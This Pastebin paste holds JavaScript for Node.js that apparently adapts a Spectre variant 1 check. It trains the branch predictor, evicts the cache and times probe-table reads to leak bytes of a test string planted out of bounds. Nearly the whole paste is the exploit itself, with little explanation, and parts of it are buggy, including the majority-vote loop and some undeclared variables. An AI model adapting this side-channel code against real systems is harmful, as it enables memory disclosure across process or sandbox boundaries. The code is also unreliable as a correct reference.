Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2018
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.84 KB | None | 0 0
  1. // kudos to: http://xlab.tencent.com/special/spectre/spectre_check.html
  2. // simplified less reliable version
  3.  
  4. function log(msg)
  5. {
  6. console.log(msg);
  7. }
  8.  
  9. function now() { return process.hrtime()[1]; }
  10. function reset() { return 0; }
  11. function start() { reset(); return now() }
  12.  
  13. function asmModule(stdlib,forgein,heap)
  14. {
  15. 'use asm'
  16. var simpleByteArray = new Uint8Array(heap);
  17. var probeTable = new Uint8Array(heap);
  18. const TABLE1_BYTES = 0x2000000;
  19. const sizeArrayStart = 0x1000000;
  20. var junk = 0;
  21.  
  22. function init()
  23. {
  24. var i =0;
  25. var j =0;
  26. // set different "size" values at 4KB offsets each (need to be uncached)
  27. for(i = 0; (i|0) < 33; i = (i+1)|0 ) // 30 max number of repetitions per try?
  28. {
  29. j = (((i<<12)|0) + sizeArrayStart)|0;
  30. simpleByteArray[(j|0)] = 16; // simpleByteArrayLength
  31. }
  32. }
  33.  
  34. function vul_call(index, sIndex)
  35. {
  36. index = index |0;
  37. sIndex = sIndex |0;
  38. var arr_size = 0;
  39. var j = 0;
  40. junk = probeTable[0]|0;
  41. // "size" value repeated at different offsets to avoid having to flush it?
  42. j = (((sIndex << 12) | 0) + sizeArrayStart)|0;
  43. arr_size = simpleByteArray[j|0]|0;
  44. if ((index|0) < (arr_size|0))
  45. {
  46. index = simpleByteArray[index|0]|0;
  47. index = (index << 12)|0;
  48. index = (index & ((TABLE1_BYTES-1)|0))|0;
  49. junk = (junk ^ (probeTable[index]|0))|0;
  50. }
  51. }
  52.  
  53. return { vul_call: vul_call, init: init };
  54. }
  55.  
  56. function readMemoryByte(malicious_x)
  57. {
  58. var results = new Uint32Array(257);
  59. var simpleByteArray = new Uint8Array(probeTable.buffer);
  60. var tries =0
  61. var junk = 0;
  62. for (tries = 0; tries < 999; tries++)
  63. {
  64. var training_x = tries % simpleByteArrayLength; // whatever
  65. clflush(cache_size);
  66. // compile and cache functions?
  67. var time3 = start();
  68. junk = simpleByteArray[0];
  69. var time4 = now();
  70. junk ^= time4 - time3;
  71.  
  72. // train branch predictor? (every 4 good indexes uses one malicious, repeat 8 times)
  73. for (var j = 1; j < 33; j++)
  74. {
  75. for (var z = 0; z < 100; z++) {} // delay
  76. // if (j % 4) training_x else malicious_x
  77. var x = ((j % 4) - 1) & ~0xFFFF;
  78. x = (x | (x >> 16));
  79. x = training_x ^ (x & (malicious_x ^ training_x));
  80. asm.vul_call(x, j); // x = index to read, j = iteration for fresh size value
  81. }
  82.  
  83. // measure time of all possible offsets
  84. for (var i = 0; i < 256; i++)
  85. {
  86.  
  87. timeS = start();
  88.  
  89. junk = probeTable[(i << 12)];
  90.  
  91. timeE = now();
  92.  
  93. acc = timeE - timeS;
  94. // if fast offset `i` was accessed
  95.  
  96. if (timeE-timeS <= 100) {
  97. results[i]++;
  98. }
  99. }
  100. }
  101.  
  102. // select majority vote
  103. var max = -1;
  104. for (var i = 0; i < 256; i++)
  105. {
  106. max = (max > results[i]) ? max : i;
  107. }
  108.  
  109. results[256] ^= junk; // reuse to avoid optimization?
  110.  
  111. log("M: "+max);
  112. return max;
  113. }
  114.  
  115. function clflush(size, current, offset=64)
  116. {
  117. for (var i = 0; i < ((size) / offset); i++)
  118. {
  119. current = evictionView.getUint32(i * offset);
  120. }
  121. }
  122.  
  123. function check(data_array)
  124. {
  125.  
  126.  
  127. clflush(cache_size); // because of lazy compilation?
  128.  
  129. // set data to read "out-of-bounds"
  130. const BOUNDARY = 0x2200000;
  131. var simpleByteArray = new Uint8Array(probeTable.buffer);
  132. for (var i = 0; i < data_array.length; i++)
  133. {
  134. simpleByteArray[BOUNDARY + i] = data_array[i];
  135. }
  136. // leak data
  137. log("start");
  138. for (var i = 0; i < data_array.length; i++)
  139. {
  140. var data = readMemoryByte(BOUNDARY+i, asm, probeTable);
  141.  
  142. log("leak off=0x" + (BOUNDARY+i).toString(16) +
  143. ", byte=0x" + data.toString(16) + " '" + String.fromCharCode(data) + "'" +
  144. ((data != data_array[i]) ? " (error)" : ""));
  145. }
  146.  
  147. log("end of leak");
  148. return;
  149.  
  150. }
  151.  
  152. const CACHE_SIZE = 15;
  153. var simpleByteArrayLength = 16;
  154. const TABLE1_BYTES = 0x3000000;
  155. const CACHE_HIT_THRESHOLD = 0
  156. var probeTable = new Uint8Array(TABLE1_BYTES);
  157.  
  158. // eviction buffer (fill LLC)
  159. var cache_size = CACHE_SIZE * 1024 * 1024;
  160. var evictionBuffer = new ArrayBuffer(cache_size);
  161. var evictionView = new DataView(evictionBuffer);
  162. var asm = asmModule(this, {}, probeTable.buffer)
  163.  
  164. var acc = 0;
  165.  
  166. asm.init();
  167.  
  168.  
  169. function main()
  170. {
  171. b = new Buffer(99999);
  172. log("eviction buffer sz: " + CACHE_SIZE + "MB");
  173. check([115, 112, 101, 99, 116, 114, 101, 46, 106, 115]);
  174. //check([115]);
  175.  
  176. }
  177.  
  178.  
  179. main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement